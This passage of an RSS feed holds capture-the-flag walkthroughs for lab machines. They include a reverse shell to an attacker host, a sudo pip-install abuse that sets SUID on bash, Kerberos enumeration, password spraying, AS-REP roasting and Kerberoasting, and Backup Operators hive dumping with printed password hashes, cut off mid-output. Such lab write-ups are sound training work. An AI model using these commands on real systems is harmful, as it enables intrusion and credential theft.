cmd<br>echo &quot;[HelpDesk Automation] Executing: $cmd&quot;<br>/bin/bash -c &quot;$cmd&quot;</pre><p>Let’s test this socket:</p><pre>echo id | socat - UNIX-CONNECT:/opt/helpdesk-socket/helpdesk.sock</pre><pre>[HelpDesk Automation] Executing: id<br>uid=1001(helpdesk) gid=1001(helpdesk) groups=1001(helpdesk)</pre><p>So i got another shell :)</p><pre>echo &#39;bash -i &gt;&amp; /dev/tcp/192.168.56.1/5555 0&gt;&amp;1&#39; | socat - UNIX-CONNECT:/opt/helpdesk-socket/helpdesk.sock</pre><pre>└─$ nc -nlvp 5555<br>listening on [any] 5555 …<br>connect to [172.24.46.58] from (UNKNOWN) [172.24.32.1] 61349<br>bash: cannot set terminal process group (680): Inappropriate ioctl for device<br>bash: no job control in this shell<br>helpdesk@helpdesk:/$ id<br>id<br>uid=1001(helpdesk) gid=1001(helpdesk) groups=1001(helpdesk)<br>helpdesk@helpdesk:/$ hostname<br>hostname<br>helpdesk<br>helpdesk@helpdesk:/$</pre><p>The <strong>helpdesk </strong>user have <strong>sudo </strong>capabilities:</p><pre>helpdesk@helpdesk:/tmp$ sudo -l<br>Matching Defaults entries for helpdesk on helpdesk:<br>env_reset, mail_badpass,<br>secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,<br>use_pty<br>User helpdesk may run the following commands on helpdesk:<br>(ALL) NOPASSWD: /usr/bin/pip3 install - break-system-packages *</pre><p>With this we can create a custom python package and execute commands as root when we will install the package. To be honest i’ve never created a python package before so ChatGPT gave me the guidelines:</p><pre>mkdir package; <br>cd package;<br>mkdir package;<br>echo &#39;import os; os.system(&quot;chmod +s /bin/bash&quot;);&#39; &gt; package/__init__.py</pre><p>This was the base, i have also created a <strong>setup.py </strong>and <strong>package.toml</strong></p><p>With this i have built the package on the dist folder on my attacking machine:</p><pre>└─$ ls -lah<br>total 32K<br>drwxr-xr-x 6 think think 4.0K Aug 22 11:23 .<br>drwxr-xr-x 4 think think 4.0K Aug 22 10:29 ..<br>drwxr-xr-x 4 think think 4.0K Aug 22 10:45 build<br>drwxr-xr-x 2 think think 4.0K Aug 22 10:45 dist<br>drwxr-xr-x 2 think think 4.0K Aug 22 10:30 package<br>drwxr-xr-x 2 think think 4.0K Aug 22 11:23 package.egg-info<br>-rw-r - r - 1 think think 296 Aug 22 10:30 project.toml<br>-rw-r - r - 1 think think 273 Aug 22 11:08 setup.py</pre><p>This is the command to build the package</p><pre>└─$ python setup.py sdist bdist_wheel</pre><p>now i have brought the package tar file to the vm and abuse the sudo.</p><pre>sudo /usr/bin/pip3 install - break-system-packages package-0.1.0.tar.gz</pre><p>Let’s check if it worked:</p><pre>helpdesk@helpdesk:/tmp/192.168.56.1/dist$ ls -lah /bin/bash<br>ls -lah /bin/bash<br>-rwsr-sr-x 1 root root 1.4M Mar 31 2024 /bin/bash</pre><p>Obviously it did ;)</p><pre>helpdesk@helpdesk:/tmp/192.168.56.1/dist$ bash -p<br>bash -p<br>id<br>uid=1001(helpdesk) gid=1001(helpdesk) euid=0(root) egid=0(root) groups=0(root),1001(helpdesk)</pre><blockquote><a href="https://hackmyvm.eu/public/?u=josemlwdf"><strong>https://hackmyvm.eu/public/?u=josemlwdf</strong></a></blockquote><h3>Congratulations! We have successfully completed this machine. Thank you for reading!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82434117ab58" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Soupedecode 02]]></title>
            <link>https://medium.com/@josemlwdf/soupedecode-02-5af2c676f5e3?source=rss-1860d262d4c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/5af2c676f5e3</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[soupedecode-02]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[dc02]]></category>
            <dc:creator><![CDATA[joseml]]></dc:creator>
            <pubDate>Fri, 13 Jun 2025 09:37:05 GMT</pubDate>
            <atom:updated>2025-08-02T21:07:20.397Z</atom:updated>
            <content:encoded><![CDATA[<p>DC02 guides users through the process of compromising an Active Directory domain controller using a combination of enumeration and exploitation techniques. The journey begins with a comprehensive Nmap scan to identify open ports and services, followed by the use of tools like Kerbrute and Nullinux for domain information gathering. The writeup details the exploitation of identified vulnerabilities on Kerberos and leveraging Impacket tools to ultimately obtain administrator credentials.</p><h3>ENUMERATION</h3><blockquote>NOTE: All of this would be a lot easier using <strong>ctfenum</strong>:</blockquote><blockquote><a href="https://github.com/josemlwdf/CTFEnum">https://github.com/josemlwdf/CTFEnum</a></blockquote><p>Lets begin as always with an Nmap Scan:</p><pre>target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep &#39;tcp.*open&#39; | cut -d &#39;/&#39; -f 1 | tr &#39;\n&#39; &#39;,&#39; | sed s/,$//) -Pn -n -sVC $target</pre><pre>PORT STATE SERVICE VERSION<br>80/tcp open http Microsoft IIS httpd 7.5<br>| http-methods:<br>|_ Potentially risky methods: TRACE<br>|_http-title: IIS7<br>|_http-server-header: Microsoft-IIS/7.5<br>88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024–06–13 16:54:09Z);<br>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: soupedecode.local, Site: Default-First-Site-Name);<br>445/tcp open microsoft-ds?<br>464/tcp open tcpwrapped<br>593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>636/tcp open tcpwrapped<br>3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: soupedecode.local, Site: Default-First-Site-Name);<br>3269/tcp open tcpwrapped<br>9389/tcp open mc-nmf .NET Message Framing<br>49154/tcp open msrpc Microsoft Windows RPC<br>49155/tcp open msrpc Microsoft Windows RPC<br>49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>49158/tcp open msrpc Microsoft Windows RPC<br>49161/tcp open msrpc Microsoft Windows RPC<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:<br>| smb2-time:<br>| date: 2024–06–13T16:54:58<br>|_ start_date: 2024–06–13T16:49:44<br>|_clock-skew: 8h59m56s<br>| smb2-security-mode:<br>| 2:1:0:<br>|_ Message signing enabled and required<br>|_nbstat: NetBIOS name: DC01, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 08:00:27:3a:21:1d (Oracle VirtualBox virtual NIC)</pre><p>OPEN UDP PORTS</p><pre>nmap -F -T4 -sU -Pn - max-parallelism 512 --min-rtt-timeout 50ms --max-retries 1 -n --open 192.168.56.122</pre><pre>PORT STATE SERVICE<br>88/udp open kerberos-sec<br>123/udp open ntp<br>137/udp open netbios-ns</pre><h3>EXPLOITATION</h3><p>There is not too much we can do without creds on this <strong>DC </strong>so let’s try to abuse <strong>Kerberos </strong>to <strong>bruteforce </strong>some <strong>usernames</strong>:</p><pre>kerbrute userenum --dc DC01 -d &#39;soupedecode.local&#39; /opt/wordlists/xato-net-10-million-usernames.txt</pre><pre>…SNIP…<br>2024/06/12 16:36:19 &gt; Using KDC(s):<br>2024/06/12 16:36:19 &gt; DC01:88<br>2024/06/12 16:36:19 &gt; [+] VALID USERNAME: charlie@soupedecode.local<br>2024/06/12 16:36:19 &gt; [+] VALID USERNAME: Charlie@soupedecode.local</pre><p>We need some creds for this user so sadly we will brute force the account at risk of locking it. By default we will wait 30 minutes for it to be unlocked if it happens.</p><pre>netexec smb $(IP) -u &#39;charlie&#39; -p /opt/wordlists/rockyou.txt --ignore-pw-decoding | grep -v FAILURE</pre><pre>SMB 192.168.56.122 445 DC01 [*] Windows 6.1 Build 7600 x64 (name:DC01) (domain:soupedecode.local) (signing:True) (SMBv1:False)<br>SMB 192.168.56.122 445 DC01 [+] soupedecode.local\charlie:charlie</pre><p>Luckily the passwords policy for this domain is not so strict so we have some credentials now. Let’s try to get some more users with them:</p><pre> nullinux -u &quot;charlie&quot; -p &quot;charlie&quot; -users $(IP)</pre><pre>Starting nullinux v5.5.0dev | 06–12–2024 16:42<br>[*] Enumerating Domain Information for: 192.168.56.122<br>[+] Domain Name: SOUPEDECODE<br>[+] Domain SID: S-1–5–21–2621822639–2474692399–1676906194<br>[*] Performing RID Cycling for: 192.168.56.122<br>krbtgt<br>Guest<br>Administrator<br>Domain Users (Network/LocalGroup)<br>Domain Admins (Network/LocalGroup)<br>Domain Guests (Network/LocalGroup)<br>Cert Publishers (Network/LocalGroup)<br>Domain Computers (Network/LocalGroup)<br>Domain Controllers (Network/LocalGroup)<br>Schema Admins (Network/LocalGroup)<br>Enterprise Admins (Network/LocalGroup)<br>Read-only Domain Controllers (Network/LocalGroup)<br>Group Policy Creator Owners (Network/LocalGroup)<br>RAS and IAS Servers (Network/LocalGroup)<br>Allowed RODC Password Replication Group (Network/LocalGroup)<br>Denied RODC Password Replication Group (Network/LocalGroup)<br>DC01$<br>boliver0<br>isam3<br>zximena1<br>emark2<br>wulysses4<br>mgavin5<br>unoah6<br>baaron7<br>…SNIP…<br>monitoring_svc<br>charlie<br>PC-13$<br>[*] 1069 unique user(s) identified<br>[+] Writing users to file: ./nullinux_users.txt</pre><p>Armed with creds and this list of users we can check for <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast">ASREPRoast</a>able accounts:</p><pre>impacket-GetNPUsers -dc-ip $(IP) soupedecode.local/charlie:charlie -usersfile nullinux_users.txt | grep -v -e &#39;^\[-\]&#39;</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra<br>$krb5asrep$23$zximena448@SOUPEDECODE.LOCAL:e0c8804349ae4dc0c05f6134e6dd97ca$7003448d38e43cc992b24f83aa9976914b1e21072dc4c98d8c631e8ceb0dcb9d13073402a14f0b9091f255b99bbedeb810b3760fd7e96264cc46f190beb02b4b1dab82fef27ffbedc3f91c02a0355db224c41f2bf001ca9b8673c7c922da824c4e4017f899e1f43ef47b71268f539bcaa1315106bf6fe6d939151a3912b5cac72988c06a6340c2628b45533bb61520c8457bf72705c7c23d10ddc1040d5373bec5dc0604086fef5adc8fa494a8815326cc4fd52dfd8a029f20e2c708c09891bf3e99360a12011aa0b543a958da588c9ffa2907bf7c8c2e478cb1cc52984c6e81e0c889bb2dcadec288a69608833547ab2cfc46d629c9</pre><p>Ok so, we have a Kerberos ticket for the user “<strong>zximena448”. </strong>Let’s try to crack it:</p><pre>john hashes.txt -w=/opt/wordlists/rockyou.txt</pre><pre>Using default input encoding: UTF-8<br>Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])<br>Will run 16 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>******** ($krb5asrep$23$zximena448@SOUPEDECODE.LOCAL)<br>1g 0:00:00:00 DONE (2024–06–12 17:26) 50.00g/s 204800p/s 204800c/s 204800C/s 123456..oooooo<br>Use the &quot; - show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>Let’s see what we have access with this new account:</p><pre>netexec smb $(IP) -u zximena448 -p ******** --shares</pre><pre>SMB 192.168.56.122 445 DC01 [*] Windows 6.1 Build 7600 x64 (name:DC01) (domain:soupedecode.local) (signing:True) (SMBv1:False)<br>SMB 192.168.56.122 445 DC01 [+] soupedecode.local\zximena448:********<br>SMB 192.168.56.122 445 DC01 [*] Enumerated shares<br>SMB 192.168.56.122 445 DC01 Share Permissions Remark<br>SMB 192.168.56.122 445 DC01 - - - - - - - - - - - - <br>SMB 192.168.56.122 445 DC01 ADMIN$ READ Remote Admin<br>SMB 192.168.56.122 445 DC01 C$ READ,WRITE Default share<br>SMB 192.168.56.122 445 DC01 IPC$ Remote IPC<br>SMB 192.168.56.122 445 DC01 NETLOGON READ Logon server share<br>SMB 192.168.56.122 445 DC01 SYSVOL READ Logon server share</pre><p>With <strong>READ </strong>access to the “<strong>C$”</strong> share we can retrieve the user flag.</p><h3>ROOT</h3><p>Since it seems that we can not get <strong>RCE </strong>on the <strong>DC </strong>we will have to enumerate it from outside. Let’s see the information of our account:</p><pre>python pywerview.py get-netuser -w soupedecode -u zximena448 -p internet -t $(IP) --username zximena448</pre><pre>objectclass: top, person, organizationalPerson, user<br>cn: Zach Ximena<br>sn: Ximena<br>l: Springfield<br>st: TX<br>title: Developer<br>postalcode: 22643<br>telephonenumber: 370–3969<br>givenname: Zach<br>initials: ZX<br>distinguishedname: CN=Zach Ximena,CN=Users,DC=soupedecode,DC=local<br>instancetype: 4<br>whencreated: 2024–06–08 01:37:30+00:00<br>whenchanged: 2024–06–13 00:45:43+00:00<br>displayname: Zach Ximena<br>usncreated: 31372<br>memberof: CN=Backup Operators,CN=Builtin,DC=soupedecode,DC=local<br>usnchanged: 110776<br>department: Dev<br>company: CompanyA<br>streetaddress: 123 Elm St<br>name: Zach Ximena<br>objectguid: {cfb2dc71-ff57–450d-960d-f2b312767c51}<br>useraccountcontrol: NORMAL_ACCOUNT, DONT_REQ_PREAUTH<br>badpwdcount: 0<br>codepage: 0<br>countrycode: 0<br>badpasswordtime: 2024–06–12 23:05:48+00:00<br>lastlogoff: 1601–01–01 00:00:00+00:00<br>lastlogon: 2024–06–13 00:23:50.828125+00:00<br>logonhours: ffffffffffffffffffffffffffffffffffffffffff…<br>pwdlastset: 2024–06–13 00:23:43.140625+00:00<br>primarygroupid: 513<br>objectsid: S-1–5–21–2621822639–2474692399–1676906194–1552<br>admincount: 1<br>comment: Art enthusiast and amateur painter<br>accountexpires: 1601–01–01 00:00:00+00:00<br>logoncount: 3<br>samaccountname: zximena448<br>samaccounttype: USER_OBJECT<br>userprincipalname: zximena448@soupedecode.local<br>serviceprincipalname: HOST/zximena448, HOST/zximena448.soupedecode.local<br>objectcategory: CN=Person,CN=Schema,CN=Configuration,DC=soupedecode,DC=local<br>dscorepropagationdata: 2024–06–13 00:45:43+00:00, 1601–01–01 00:00:00+00:00<br>lastlogontimestamp: 2024–06–13 00:20:41.671875+00:00<br>mail: zximena448@example.com</pre><p>Ok, so we are part of the “<strong>Backup Operators</strong>” group. Members of the Backup Operators group can <strong>back up and restore all files on a computer</strong>, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group can’t be renamed, deleted, or removed.</p><p>Looking about how to abuse this group, i got this <strong>Github </strong>page:</p><blockquote><a href="https://raw.githubusercontent.com/horizon3ai/backup_dc_registry/main/reg.py">https://raw.githubusercontent.com/horizon3ai/backup_dc_registry/main/reg.py</a></blockquote><p>Now let’s exploit it:</p><p>First we set up an SMB share to receive the system hives:</p><pre>impacket-smbserver share $(pwd) -smb2support</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra<br>[*] Config file parsed<br>[*] Callback added for UUID 4B324FC8–1670–01D3–1278–5A47BF6EE188 V:3.0<br>[*] Callback added for UUID 6BFFD098-A112–3610–9833–46C3F87E345A V:1.0<br>[*] Config file parsed<br>[*] Config file parsed<br>[*] Config file parsed<br>[*] Incoming connection (192.168.56.122,49416)<br>[*] AUTHENTICATE_MESSAGE (\,DC01)<br>[*] User DC01\ authenticated successfully<br>[*] :::00::aaaaaaaaaaaaaaaa<br>[*] Connecting Share(1:IPC$)<br>[*] Connecting Share(2:share)<br>[*] Disconnecting Share(1:IPC$)<br>[*] Disconnecting Share(2:share)<br>[*] Closing down connection (192.168.56.122,49416)<br>[*] Remaining connections []</pre><p>Then we launch the exploit:</p><pre>python reg.py zximena448:internet@192.168.56.122 backup -p &#39;\\192.168.56.115\share&#39;</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra<br>Dumping SAM hive to \\192.168.56.115\share\SAM<br>Dumping SYSTEM hive to \\192.168.56.115\share\SYSTEM<br>Dumping SECURITY hive to \\192.168.56.115\share\SECURITY</pre><p>Finally, we have the hives in our computer:</p><pre>┌──(think㉿kali)-[~]<br>└─$ ls<br>Desktop Downloads reg.py SAM SECURITY SYSTEM</pre><p>With these hives we can dump the secrets using <strong>Impacket</strong>:</p><pre>impacket-secretsdump LOCAL -system SYSTEM -sam SAM -security SECURITY</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra<br>[*] Target system bootKey: 0x129514b2fa60646a00037e4df6fc3d3f<br>[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>[*] Dumping cached domain logon information (domain/username:hash)<br>[*] Dumping LSA Secrets<br>[*] $MACHINE.ACC<br>$MACHINE.ACC:plain_password_hex:4ceea5e7cca62c848fd38b78d9d56daa721bd00576c9c14feb753281cf26c1f86cef4629569adb692de1d18e4812781ad0a1b91ab1b741570225f8da802f37c55ad8c046d5aa714c4a2fbf673b1527ed01a8ddd80cdfba0e1e53cf36657282c601cbdd563129a32a67797b69a5305b175aca8f74f2d06cd714ef08a1454012b2ec38301690bc36ca2eb7f1f55a6593c23ea005061b827582d5327c2edafe1891a76e9e90eedfdb26d3b679861cb13c6e288cf50bd2294ce62870e326b404b3dc3115d8d9181a32f09f605e72143a200601ef211b11836a9fc7b7f0e4f768a20c7971b3a88423978d086776b5e9045bcd<br>$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:4110d1e1e6f563af093207d9e306b40d<br>[*] DefaultPassword<br>(Unknown User):ROOT#123<br>[*] DPAPI_SYSTEM<br>dpapi_machinekey:0x90129cd151c3df3a2396a216037887b03d62452c<br>dpapi_userkey:0x73f4c601b4b0a90c32423a23a17aeb35c6131709<br>[*] NL$KM<br>0000 2F DA 6A B0 3C A9 0A D8 7F DF 2A 9F 20 B5 E0 7B /.j.&lt;…..*. ..{<br>0010 EB AE DC 02 FB F4 4C 3E 0B 78 59 5E A8 97 1D 86 ……L&gt;.xY^….<br>0020 27 29 BD 1D 5B BD BE E4 47 02 81 D5 A5 01 7D 18 &#39;)..[…G…..}.<br>0030 84 54 48 D1 B0 C8 A3 28 57 01 B1 9D 23 7B 99 B7 .TH….(W…#{..<br>NL$KM:2fda6ab03ca90ad87fdf2a9f20b5e07bebaedc02fbf44c3e0b78595ea8971d862729bd1d5bbdbee4470281d5a5017d18845448d1b0c8a3285701b19d237b99b7<br>[*] Cleaning up…</pre><p>Armed with the hashes of the <strong>Administrator </strong>account and the <strong>Machine</strong> account we can take the <strong>DC </strong>over.</p><pre>netexec smb $(IP) -u &#39;administrator&#39; -H 209c6174da490caeb422f3fa5a7ae634</pre><pre>SMB 192.168.56.122 445 DC01 [*] Windows 6.1 Build 7600 x64 (name:DC01) (domain:soupedecode.local) (signing:True) (SMBv1:False)<br>SMB 192.168.56.122 445 DC01 [+] soupedecode.local\administrator:209c6174da490caeb422f3fa5a7ae634 (Pwn3d!)</pre><h3>Congratulations! We have successfully completed this machine. Thank you for reading!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5af2c676f5e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Soupedecode 01]]></title>
            <link>https://medium.com/@josemlwdf/soupedecode-01-cca082a6a5bc?source=rss-1860d262d4c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/cca082a6a5bc</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[dc01]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[soupedecode-01]]></category>
            <dc:creator><![CDATA[joseml]]></dc:creator>
            <pubDate>Thu, 12 Jun 2025 09:41:35 GMT</pubDate>
            <atom:updated>2025-08-04T14:57:52.118Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*I49U6uAgL8ieRck-3OWQ_w.png" /></figure><p>The DC01 CTF machine write-up details exploiting a vulnerable Active Directory setup. It begins with Nmap enumeration to identify critical services like Kerberos, LDAP, and SMB. Using Metasploit, the author performs attacks to find valid user credentials, which allow access to SMB shares and extraction of sensitive data. By exploiting Kerberoastable service accounts and cracking their tickets, the author gains administrative access to the DC, achieving complete control over the machine. The process highlights effective enumeration, exploitation, and privilege escalation.</p><h3>ENUMERATION</h3><p>Lets begin as always with an Nmap Scan:</p><pre>target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep &#39;tcp.*open&#39; | cut -d &#39;/&#39; -f 1 | tr &#39;\n&#39; &#39;,&#39; | sed s/,$//) -Pn -n -sVC $target</pre><pre>PORT STATE SERVICE VERSION<br>88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024–06–11 17:25:22Z);<br>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: soupedecode.local, Site: Default-First-Site-Name);<br>445/tcp open microsoft-ds?<br>464/tcp open kpasswd5?<br>593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>636/tcp open tcpwrapped<br>3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: soupedecode.local, Site: Default-First-Site-Name);<br>3269/tcp open tcpwrapped<br>9389/tcp open mc-nmf .NET Message Framing<br>49154/tcp open msrpc Microsoft Windows RPC<br>49155/tcp open msrpc Microsoft Windows RPC<br>49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>49158/tcp open msrpc Microsoft Windows RPC<br>49161/tcp open msrpc Microsoft Windows RPC<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:<br>|_clock-skew: 8h59m56s<br>| smb2-security-mode:<br>| 2:1:0:<br>|_ Message signing enabled and required<br>|_nbstat: NetBIOS name: DC01, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 08:00:27:df:fd:b5 (Oracle VirtualBox virtual NIC)<br>| smb2-time:<br>| date: 2024–06–11T17:26:08<br>|_ start_date: 2024–06–11T16:43:13</pre><h3>EXPLOITATION</h3><blockquote><a href="https://github.com/josemlwdf/CTFEnum">https://github.com/josemlwdf/CTFEnum</a></blockquote><p><strong><em>“ctfenum” </em></strong>got this:</p><pre>OPEN UDP PORTS:<br>[!] nmap -F -T4 -sU -Pn - max-parallelism 512 -min-rtt-timeout 50ms -max-retries 1 -n --open 192.168.56.121<br>PORT STATE SERVICE<br>88/udp open kerberos-sec<br>123/udp open ntp<br>137/udp open netbios-ns</pre><pre>[!] Attacking port 445<br>[!] msfconsole -q -x &quot;use scanner/smb/smb_lookupsid;set rhosts 192.168.56.121;set MinRID 1000;set MaxRID 5000;set SMBUser Guest;set SMBPass ;set THREADS 10;set SMBDomain .;run;exit;&quot;<br>[!] RID Cycling Attack to get Usernames<br>[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST<br>rhosts =&gt; 192.168.56.121<br>MinRID =&gt; 1000<br>MaxRID =&gt; 5000<br>SMBUser =&gt; Guest<br>SMBPass =&gt;<br>THREADS =&gt; 10<br>SMBDomain =&gt; .<br>[*] 192.168.56.121:445 - PIPE(LSARPC) LOCAL(SOUPEDECODE - 5–21–2621822639–2474692399–1676906194) DOMAIN(SOUPEDECODE - 5–21–2621822639–2474692399–1676906194)<br>[*] 192.168.56.121:445 - USER=DC01$ RID=1001<br>[*] 192.168.56.121:445 - USER=boliver0 RID=1104<br>[*] 192.168.56.121:445 - USER=zximena1 RID=1105<br>[*] 192.168.56.121:445 - USER=emark2 RID=1106<br>[*] 192.168.56.121:445 - USER=isam3 RID=1107<br>[*] 192.168.56.121:445 - USER=wulysses4 RID=1108<br>…SNIP…</pre><pre>[!] Attacking port 445<br>[!] msfconsole -q -x &quot;use scanner/smb/smb_login;set BLANK_PASSWORDS true;set ANONYMOUS_LOGIN true;set rhosts 192.168.56.121;set USER_AS_PASS true;set STOP_ON_SUCCESS true;set VERBOSE false;set PASS_FILE $(pwd)/smb_pass.txt; set USER_FILE $(pwd)/smb_users.txt;run;exit;&quot;<br>[+] Creds Found!!!<br>[+] 192.168.56.121:445–192.168.56.121:445 - Success: &#39;.\:&#39; Guest</pre><p>So this is easy since we have <strong>users </strong>from the beginning</p><p>Using the “<strong><em>Guest</em></strong>” account we can check the <strong>shares</strong>:</p><pre>netexec smb $(IP) -u &#39;Guest&#39; -p &#39;&#39; --shares</pre><pre>SMB 192.168.56.121 445 DC01 [*] Windows 6.1 Build 7600 x64 (name:DC01) (domain:soupedecode.local) (signing:True) (SMBv1:False)<br>SMB 192.168.56.121 445 DC01 [+] soupedecode.local\Guest:<br>SMB 192.168.56.121 445 DC01 [*] Enumerated shares<br>SMB 192.168.56.121 445 DC01 Share Permissions Remark<br>SMB 192.168.56.121 445 DC01 - - - - - - - - - - - - <br>SMB 192.168.56.121 445 DC01 ADMIN$ Remote Admin<br>SMB 192.168.56.121 445 DC01 backup<br>SMB 192.168.56.121 445 DC01 C$ Default share<br>SMB 192.168.56.121 445 DC01 IPC$ Remote IPC<br>SMB 192.168.56.121 445 DC01 NETLOGON Logon server share<br>SMB 192.168.56.121 445 DC01 SYSVOL Logon server share<br>SMB 192.168.56.121 445 DC01 Users</pre><p>Ok so… no luck on the shares as “<strong>Guest</strong>” so we can try getting some users with <strong>bad passwords practices</strong> LOL. We should <strong>not bruteforce</strong> otherwise the accounts could get <strong>locked</strong>.</p><pre>netexec smb $(IP) -u users.txt -p users.txt --no-bruteforce | grep -v FAILURE</pre><pre>SMB 192.168.56.121 445 DC01 [*] Windows 6.1 Build 7600 x64 (name:DC01) (domain:soupedecode.local) (signing:True) (SMBv1:False)<br>SMB 192.168.56.121 445 DC01 [+] soupedecode.local\ybob317:ybob317</pre><p>Now with these <strong>creds </strong>we have access to the <strong>Users </strong>share and we’re able to retrieve the user flag.</p><pre>smbclient //$(IP)/Users -U &#39;soupedecode.local\ybob317&#39;</pre><pre>smb: \ybob317\desktop\&gt; get user.txt<br>getting file \ybob317\desktop\user.txt of size 32 as user.txt (4.5 KiloBytes/sec) (average 4.5 KiloBytes/sec)<br>smb: \ybob317\desktop\&gt;</pre><h3>ROOT</h3><p>So… looking at the active directory side, let’s see if there are any <strong>Kerberoastable </strong>services accounts:</p><pre>impacket-GetUserSPNs soupedecode.local/ybob317:ybob317 -dc-ip $(IP) -request</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra<br>…SNIP…<br>[-] CCache file is not found. Skipping…<br>[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)</pre><p>OK we have some differences between our clock and the one on the DC so, let’s add the domain to our DNS resolution system.</p><pre>echo &#39;192.168.56.121 soupedecode.local DC01 soupedecode&#39; &gt;&gt; /etc/hosts</pre><p>Then we can synchronize our time with the one of the DC</p><pre>sudo sntp -sS soupedecode.local</pre><pre>2024–06–11 20:41:18.375000 (+0200) +32397.509254 +/- 0.016225 soupedecode.local 192.168.56.121 s1 no-leap<br>CLOCK: time stepped by 32397.509254</pre><p>Now we check for <strong>Kerberoastable </strong>users:</p><pre>impacket-GetUserSPNs soupedecode.local/ybob317:ybob317 -dc-ip $(IP) -request -output tickets.txt</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra<br>FTP/FileServer$ file_svc 2024–06–10 23:08:31.609375 &lt;never&gt;<br>FW/ProxyServer$ firewall_svc 2024–06–10 22:17:33.062500 &lt;never&gt;<br>HTTP/BackupServer$ backup_svc 2024–06–10 22:17:32.656250 &lt;never&gt;<br>HTTP/WebServer$ web_svc 2024–06–10 22:17:32.390625 &lt;never&gt;<br>HTTPS/MonitoringServer$ monitoring_svc 2024–06–10 22:17:33.562500 &lt;never&gt;<br>PRINT/PrintServer$ print_mgmt_svc 2024–06–10 20:46:02.609375 &lt;never&gt;<br>SMTP/MailServer$ email_svc 2024–06–10 22:17:32.781250 &lt;never&gt;<br>SQL/DatabaseServer$ sql_svc 2024–06–10 22:17:32.531250 &lt;never&gt;</pre><p>So, we have <strong>8</strong> tickets:</p><pre>wc -l tickets.txt</pre><pre>8 tickets.txt</pre><p>I have modified the tickets file to see the usernames once cracked (added the username: at the beginning of the line) like:</p><pre>head tickets.txt</pre><pre>file_svc:$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$soupedecode.local/file_svc*$afade2a48795f1f</pre><p>We can try to crack the tickets like this:</p><pre>john tickets.txt -w=/opt/wordlists/rockyou.txt</pre><pre>Created directory: /home/think/.john<br>Using default input encoding: UTF-8<br>Loaded 8 password hashes with 8 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])<br>Will run 16 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>************ (file_svc)<br>1g 0:00:00:12 DONE (2024–06–11 20:54) 0.07949g/s 1140Kp/s 8834Kc/s 8834KC/s !SkicA!..*7¡Vamos!<br>Use the &quot; - show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>Now with our new <strong>creds </strong>we can enumerate the <strong>SMB </strong>service again:</p><pre>netexec smb $(IP) -u &#39;file_svc&#39; -p &#39;***********&#39; - shares</pre><pre>SMB 192.168.56.121 445 DC01 [*] Windows 6.1 Build 7600 x64 (name:DC01) (domain:soupedecode.local) (signing:True) (SMBv1:False)<br>SMB 192.168.56.121 445 DC01 [+] soupedecode.local\file_svc:************<br>SMB 192.168.56.121 445 DC01 [*] Enumerated shares<br>SMB 192.168.56.121 445 DC01 Share Permissions 